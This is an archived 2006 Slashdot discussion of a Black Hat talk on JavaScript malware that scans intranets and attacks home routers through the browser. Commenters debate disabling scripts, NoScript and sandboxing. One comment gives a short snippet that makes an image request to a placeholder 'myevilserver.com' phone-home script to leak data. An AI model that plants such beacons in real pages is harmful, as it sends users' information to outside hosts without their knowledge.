Slashdot Log In
JavaScript Malware Open The Door to the Intranet
Posted by
Zonk
on Sun Jul 30, 2006 06:36 AM
from the anybody-home dept.
from the anybody-home dept.
An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"
Related Stories
Offsite: Dark Reading Coverage
This discussion has been archived.
No new comments can be posted.
JavaScript Malware Open The Door to the Intranet
|
Log In/Create an Account
| Top
| 169 comments
| Search Discussion
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.

JavaScript Malware Open The Door to the Intranet (Score:5, Funny)
(Last Journal: Sunday November 27 2005, @02:29PM)
Re:JavaScript Malware Open The Door to the Intrane (Score:5, Funny)
(http://slashdot.org/)
NoScript (Score:5, Informative)
Re:NoScript (Score:5, Informative)
Re:NoScript (Score:5, Insightful)
Most recently we saw this problem in Netscape's portal.
http://blog.outer-court.com/archive/2006-07-26-n7
Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.
Simple fix to an obvious problem (Score:4, Insightful)
(http://www.imatix.com/)
So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Re:Simple fix to an obvious problem (Score:5, Interesting)
(http://www.yafla.com/dforbes/ | Last Journal: Tuesday September 27 2005, @10:43AM)
The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.
"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."
Re:Simple fix to an obvious problem (Score:4, Insightful)
(http://wakaba.c3.cx/)
img.src="http://myevilserver.com/phonehome.cgi?ev
document.body.appendElement(img);
Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?
Re:Simple fix to an obvious problem (Score:5, Informative)
Re:Simple fix to an obvious problem (Score:4, Insightful)
(http://booktextmark.mozdev.org/)
An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.
The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.
But then you are questioning the entire Hyper Text idea - the linking of the Internet.
This most certainly will not be fixed in the next release of ANY browser.
How's this news? (Score:2, Insightful)
It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that leaves js enabled in browsers (acrobat reader etc) should probably seek employment in some other field. Anything less is irresponsible!
Re:How's this news? (Score:5, Informative)
(http://sitetheory.com/ | Last Journal: Friday October 24 2003, @10:59AM)
Having only one layer of security is the problem at hand here, not javascript. Javascript is incredably useful, and disabling is certainly not the best answer for most places (I can see govt organizations or sensitive research sections of companies doing this though, but then again why event allow net access at that point?)
NoScript extension could be a saviour (Score:5, Informative)
It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)
WMVs (Score:4, Insightful)
Configure which sites get javascript? (Score:3, Insightful)
Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.
I tried the "proof of concept" here... (Score:2, Informative)
But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.
Javascript Haters Society (Score:4, Insightful)
That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".
Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.
Doing a quick parse of the article... (Score:1, Insightful)
(http://www.linicks.net/)
So, the problem is with MS (again) and 'harry home owner' type people that don't have a clue about anything, so just run with the flow [OK].
Missing the point (Score:4, Interesting)
(http://www.neverwhen.net/)
Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.
For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.
You don't need it - you want it. (Score:5, Insightful)
You don't need it - you want it. You want it to make the entire web experience better.
From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.
Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.
Similarly with Java, Flash and other things.
Sandbox web-enabled applications (Score:1)
(http://slashdot.org/~davidwr/journal/ | Last Journal: Friday November 09, @09:19PM)
Sandbox web-enabled applications, either individually or as a set.
Even better: Sandbox sessions. Any address I type into my web browser, any link I open from a saved bookmark, or any link I open with a "open in new sandbox" command, gets a new sandbox.
For home users, sandboxes get access to just the default gateway, they can't touch 127.0.0.1 or 192.168.1.x. They get read-only access to parts of the filesystem, such as where Java applets are stored, and read-write access to their own temporary space and, optionally, a directory where users can save files by hand. Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.
NCSA Mosaic avoids this problem (Score:3, Funny)
FIrefox NoScript? (Score:2, Interesting)
How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.
Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSafe) configuration is like leaving your car unlocked in a inner-suburb train station... It will get broken into!
For those affected by these issues: welcome to the real world. Grow up, plug in, learn what the hell your doing on this internet.
You should need a licence to even have an Internet Connection.
Detection of webserverless machines is unreliable (Score:2)
(Last Journal: Friday August 17, @08:29AM)
In addition, if a machine has a webserver on it but requests for / give an error, it is detected as having no webserver. This gets particularly interesting with webservers that require HTTP authentication to access any page, and where the browser doesn't have the login stored: a password dialog pops up, and if you don't respond fast enough, the IP address is detected as non-existent. In addition, unless you enter the correct username and password, the machine is detected as not having a webserver.
Finally, although they can carry out whatever GET requests they like, the only information about the response they can get is whether the request succeeded or failed. (They could probably do POSTs too, but I'm not sure if they'd even be able to get that much information back).
The Cross Site Scripting FAQ (Score:2)
(http://www.cgisecurity.com/)
Cross Site Scripting [cgisecurity.com] FAQ
WAN computing has evolved in a bad way. (Score:2)
We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.
Please kill JavaScript. (Score:2, Insightful)
As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific browser. For now, FireFox and others are relatively safe. We have seen a few things come out lately, but they are really just toys compared to what is out there for Internet Explorer. These people writing the exploits are, unfortunately, rather smart and clever. When it becomes econically feasible for them to target FireFox / Mozilla / whatever, make no mistake about it: they will. That is when we will see how secure that software really is.
This is where people bring up the IIS vs Apache argument. My only answer to that is that there is little money to be made in compromising web servers. There are a few cases of corporate espoionage, but most of the time it is ego-driven: defacement, spreading worms, etc. A competent webadmin will eventually discover the breach and fix the system, so there is not a long window of opportunity. Compromising millions of home users' PCs without them even knowing it is much better profit-wise; you can spam the shit out of anything pretty much with impunity, and people will pay you good money to do it. So these kinds of people target what they are familiar with: Microsoft. I think compatibility also plays a role. Any Windows server running IIS can run any Windows binary. This is patently untrue of Linux servers running Apache; there are so many different combinations of distributions, libraries, and architectures that binary compatibility is very small if it even exists. Microsoft is an easy target because it is such a monoculture.
Fix the stupid bugs (Score:2, Insightful)
The real problem is that the browsers have bad code in their JavaScript implementations. This is what needs to be fixed.
Also, web browsers probably should run using CreateRestrictedToken. I wish web browsers would run with lower privilege than your normal user applications. You could have 2 processes, one that runs at normal privilege and one that runs as a restricted token. Almost the entire browser would be under the restricted token. Really, the only exceptions should be when downloading or uploading files, at the user's request of course. Such things can be done over interprocess communication with a well-defined and hardened interface.
I guess that the big problem is that NT and Linux don't really have a way to do this. The only way I can think of this working is for the browser to run as a separate user account. That requires administrator access to set up, as does running a second process as a different user.
Melissa
Why limit this technique to intranet attacks? (Score:1)
Questions:
Re:A solution to this problem. (Score:2, Insightful)
(http://wakaba.c3.cx/)
Re:Javascript = One really bad idea (Score:2)
(http://ctho.ath.cx/)
Re:A solution to this problem. (Score:3, Informative)
(http://www.theroughnecks.net/)
Re:There was an old lady who swallowed a fly... (Score:1)